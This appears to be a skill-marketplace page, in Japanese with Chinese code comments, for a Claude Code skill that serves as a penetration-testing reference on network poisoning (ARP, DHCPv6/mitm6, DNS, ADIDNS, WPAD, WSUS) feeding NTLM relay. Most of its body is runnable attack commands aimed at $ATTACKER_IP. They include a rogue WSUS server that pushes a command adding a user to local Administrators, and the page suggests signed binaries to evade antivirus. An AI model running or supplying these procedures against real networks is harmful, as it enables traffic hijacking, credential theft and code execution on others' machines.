mcpField
N
network-poisoning-attack

network-poisoning-attack

github.com/wgpsecセキュリティ1.8k42 回インストール4 日前に更新
リポジトリ

network-poisoning-attack について

セキュリティテスト担当者向けに、ARP、DHCP、DNS、WPAD などのネットワーク投毒手法をまとめたリファレンスです。各手法の前提条件と、NTLM リレーへの組み込み方を説明します。

主な機能

  1. 01ARP、DHCP、DHCPv6 の投毒
  2. 02DNS 偽装と ADIDNS 注入
  3. 03WPAD ハイジャックと WSUS 投毒
  4. 04手法の前提条件とリスク比較
  5. 05NTLM リレーの手順案内

活用シーン

  1. 01内部ネットワークでの投毒方法の評価
  2. 02NTLM リレーテスト用の前段手法の選定
  3. 03各投毒手法の手順の参照

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill network-poisoning-attack

インストール後、Claude Code で/network-poisoning-attackを入力して読み込まれたか確認します。

同梱ファイルreferences/layer2-poisoning.mdreferences/name-resolution-poisoning.md

詳細

ネットワーク層のポイズニングとスプーフィング攻撃

ネットワーク層プロトコル(ARP、DHCP、DNS、WPAD など)を汚染して、中間者の位置を確保したり、認証を強制的に発生させたりすることは、NTLM relay 攻撃で最もよく使われる事前手順です。

実行条件

  • 内部ネットワークで、ポイズニングによる認証情報の取得または中間者攻撃が必要
  • NTLM relay の事前手順としてポイズニングが必要
  • ARP/DHCP/DHCPv6/DNS/WPAD/WSUS のポイズニングが必要

前提条件

  • 同一セグメントへの物理接続(ほとんどの手法で同じブロードキャストドメインが必要)
  • ドメインユーザーの認証情報(ADIDNS の注入に必要)
  • ツール:bettercap, Responder, mitm6, dnstool.py, Inveigh, pywsus, dnschef

技術選択の決定ツリー

网络位置与条件?
├── 同广播域
│   ├── 快速 MITM → ARP 投毒 (高检测风险)
│   ├── IPv6 未禁用 → DHCPv6/mitm6 (推荐)
│   ├── DHCP 环境 → DHCP 投毒
│   └── 被动监听 → LLMNR/NBT-NS (已有 → ntlm-relay-attack)
├── 域环境 + 域凭证
│   ├── ADIDNS 记录注入 (最稳定)
│   └── WPAD 劫持 (结合 ADIDNS/DHCPv6)
├── WSUS 使用 HTTP
│   └── WSUS 投毒
└── DNS 已控制
    └── DNS 欺骗

技術比較表

ポイズニング方式前提条件検知リスク適用シナリオ
ARP ポイズニング同じブロードキャストドメイン高(ARP の異常)即時効果が必要な迅速な MITM
DHCP ポイズニング同じブロードキャストドメイン中DNS/WPAD の持続的な注入
DHCPv6/mitm6IPv6 が無効化されていない低推奨。秘匿性の高い NTLM の取得
DNS スプーフィングDNS トラフィックを制御済み低ドメイン名のピンポイントなハイジャック
ADIDNS 注入ドメイン認証情報極めて低最も安定したドメインレベルの DNS ポイズニング
WPAD ハイジャック各方式を参照中認証を捕捉する透過プロキシ
WSUS ポイズニングHTTP WSUS中コード実行(認証情報ではない)
ICMP リダイレクト同じセグメント低最新の OS では無視されることが多い

1. ARP ポイズニング

原理

ARP プロトコルには認証機構がありません。攻撃者は偽造した ARP 応答を送信し、自身の MAC アドレスをゲートウェイまたはターゲットの IP にひも付けて、トラフィックをハイジャックします。双方向(fullduplex)と片方向のポイズニングに分けられます。

主なコマンド
# bettercap 交互模式
bettercap -iface eth0

# 单向投毒(仅欺骗目标,让目标流量经过攻击者)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false
arp.spoof on

# 双向投毒(同时欺骗目标和网关)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.fullduplex true
arp.spoof on

# 开启 IP 转发(Linux)
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT
SMB のシナリオ:any.proxy で攻撃者の 445 にリダイレクト
# 将目标发往 $SERVER_IP:445 的流量重定向到攻击者
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy on
IP スプーフィングによる回避(SNAT/DNAT)
# 当目标检查源 IP 时,需要 iptables NAT 伪装
iptables -t nat -A PREROUTING -p tcp -d $SERVER_IP --dport 445 -j DNAT --to-destination $ATTACKER_IP:445
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP --dport 445 -j SNAT --to-source $SERVER_IP
リレーとの連携

ARP ポイズニングで MITM の位置を確保した後、any.proxy を使用して SMB/HTTP トラフィックを ntlmrelayx のリスニングポートにリダイレクトします。


2. DHCP ポイズニング

原理

Responder の DHCP モードでクライアントの DHCP リクエストに応答し、悪意のある DNS サーバーまたは WPAD 設定を注入します。効果は、クライアントの DHCP リースが期限切れになるか、再起動するまで持続します。

主なコマンド
# DNS 注入模式(注入 DNS + WPAD)
responder -I "eth0" -wPdD

# 仅 WPAD 注入
responder -I "eth0" -wPd

# -d: DHCP 响应中注入 DNS
# -D: DHCP 响应中注入 WPAD
# -w: 启动 WPAD rogue proxy
# -P: 强制 NTLM 认证(Proxy Auth)
リレーとの連携
# WPAD 注入 + ntlmrelayx 作为代理
ntlmrelayx.py -t $TARGET --http-port 3128
# Responder 将 WPAD 配置指向 $ATTACKER_IP:3128

3. DHCPv6/mitm6(推奨)

原理

Windows では IPv6 がデフォルトで有効になっており、IPv6 DNS が優先的に使用されます。mitm6 は DHCPv6 サーバーになりすましてターゲットに IPv6 DNS を割り当て、すべての DNS クエリを攻撃者に向けます。秘匿性が高く、IPv4 ネットワークには影響しません。

主なコマンド
# 启动 mitm6
mitm6 --interface eth0 --domain $DOMAIN

# 指定目标(减少影响范围)
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAME
bettercap による代替手段
set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
set dns.spoof.domains *.$DOMAIN
dns.spoof on
リレーとの連携
# 经典组合:mitm6 + ntlmrelayx
# 终端 1
mitm6 -d $DOMAIN

# 终端 2
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# -wh: 设置 WPAD 主机名,触发 HTTP 认证
# --delegate-access: 自动配置 RBCD

4. DNS スプーフィング

原理

MITM の位置(ARP ポイズニングなど)を確保した後、DNS 応答を傍受して改ざんし、ターゲットのドメイン名を攻撃者の IP に解決させます。事前にトラフィックをハイジャックする能力が必要です。

主なコマンド
# dnschef(独立 DNS 代理)
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53

# 指定域名
dnschef --fakedomains $DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP

# Responder 内置 DNS
responder -I "eth0"

# bettercap dns.spoof
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on
リレーとの連携

DNS スプーフィングで、ターゲットによる特定サービスへのアクセスを攻撃者にリダイレクトし、ntlmrelayx と組み合わせて認証リクエストを捕捉します。


5. ADIDNS レコードの注入

原理

Active Directory 統合 DNS(ADIDNS)では、デフォルトで任意のドメインユーザーが新しい DNS 子オブジェクトを作成できます。ワイルドカードレコード(*)を追加すると、明示的に定義されていないすべての DNS クエリを攻撃者の IP に解決させることができます。これは最も安定しており、検知リスクが最も低いポイズニング方式です。

主なコマンド
# 检查是否存在 WINS forward lookup(type 65281,会干扰通配符)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC

# 添加通配符记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC

# 指定 DNS 分区(--legacy 用于旧 DNS 区域,--forest 用于森林级)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC

# 清理(务必在完成后执行)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC
Powermad による代替手段
# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加指定记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IP
Inveigh による自動化
# 自动 ADIDNS 注入 + 投毒
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# combo: 通配符 + NS 记录组合
# ADIDNSThreshold: 未解析查询达到阈值后才注入(降低误报)
リレーとの連携

ワイルドカードレコードにより、存在しないすべてのホスト名が攻撃者に解決されます。Responder/ntlmrelayx と組み合わせることで、認証を自動的に捕捉できます。


6. WPAD ハイジャック

原理

WPAD(Web Proxy Auto-Discovery)の名前解決経路は、DHCP Option 252 → DNS クエリ wpad.$DOMAIN → LLMNR/NBT-NS ブロードキャストです。いずれかの段階をハイジャックすれば、ターゲットに攻撃者のプロキシ経由でインターネットに接続させ、NTLM 認証を発生させることができます。

旧システム(MS16-077 未適用)
# LLMNR/NBT-NS 响应 WPAD 查询
responder -I "eth0" -wP
# -w: WPAD rogue proxy
# -P: 强制 Proxy NTLM 认证
新システム(GQBL bypass)

MS16-077 以降、WPAD はブロードキャストによる名前解決を行わないため、ADIDNS の注入による回避が必要です。

# 方式 1: 添加 wpad A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC

# 方式 2: 添加 NS 记录委派
# PowerShell NS 记录(将 wpad 子域委派到攻击者)
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 攻击者运行 dnschef 响应 wpad 查询
DHCPv6 方式
# 当 DNS 中 wpad 记录已存在但指向错误时
mitm6 --domain $DOMAIN
# mitm6 通过 DHCPv6 让目标使用攻击者 DNS,直接控制 wpad 解析
リレーとの連携

WPAD プロキシによって HTTP NTLM 認証が自動的に発生し、ntlmrelayx に直接転送されます。


7. WSUS ポイズニング

原理

WSUS(Windows Server Update Services)が HTTPS ではなく HTTP を使用している場合、攻撃者は MITM の位置で更新パッケージを差し替え、コードを実行できます。これは認証情報の取得ではなく、コード実行である点に注意してください。

WSUS の設定を確認する
# 远程查询(需要访问权限)
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
# 如果是 http:// 开头 → 可投毒
主なコマンド
# 启动恶意 WSUS 服务器
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
  --executable /path/to/PsExec64.exe \
  --command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'
bettercap によるトラフィックのリダイレクト
# ARP 投毒后重定向 WSUS 流量
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
any.proxy on
補足説明
  • CVE-2020-1013:WSUS のローカル権限昇格の脆弱性。ローカルで悪用可能
  • 更新チェックを実行する:wuauclt /detectnow /updatenow または UsoClient StartScan
  • AV の検知を避けるため、LOLBin(PsExec64.exe などの署名付きバイナリ)の使用を推奨します
リレーとの連携

WSUS ポイズニングは主にコード実行に使用され、NTLM relay には直接連携しません。


8. ICMP リダイレクト

原理

ICMP Redirect メッセージは、より適切なルーティング経路をホストに通知します。攻撃者は ICMP Redirect を偽造して、ターゲットのトラフィックを自身にリダイレクトできます。ただし、最新の OS(Windows 10 以降、デフォルト設定の Linux など)の多くは ICMP Redirect を無視します。

主なコマンド
python3 tools/Icmp-Redirect.py \
  --interface eth0 \
  --ip $ATTACKER_IP \
  --gateway $GATEWAY \
  --target $TARGET \
  --route $DNS_SERVER
実用性

限定的です。最新の OS ではデフォルトで ICMP Redirect が無効化または無視されるため、特定の古い環境でのみ有効です。


9. NBT Name Overwrite

原理

NetBIOS 名称の上書き攻撃では、NetBIOS Name Overwrite パケットを送信してターゲットの名前テーブルを変更し、特定の名前を攻撃者の IP に関連付けます。

現状

実際に利用できるツールは限られており、主に理論上の参考として扱われています。実践では、ADIDNS や DHCPv6 など、より信頼性の高い方式を優先してください。


組み合わせて利用する例

mitm6 + ntlmrelayx(最も一般的)
# 终端 1: DHCPv6 投毒
mitm6 -d $DOMAIN

# 终端 2: LDAP relay + RBCD
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
ADIDNS + Responder + relay
# Step 1: 注入通配符 DNS 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC

# Step 2: 启动 Responder(关闭 SMB/HTTP)
responder -I eth0

# Step 3: 启动 ntlmrelayx
ntlmrelayx.py -t $TARGET -smb2support

詳細な参考資料

コメント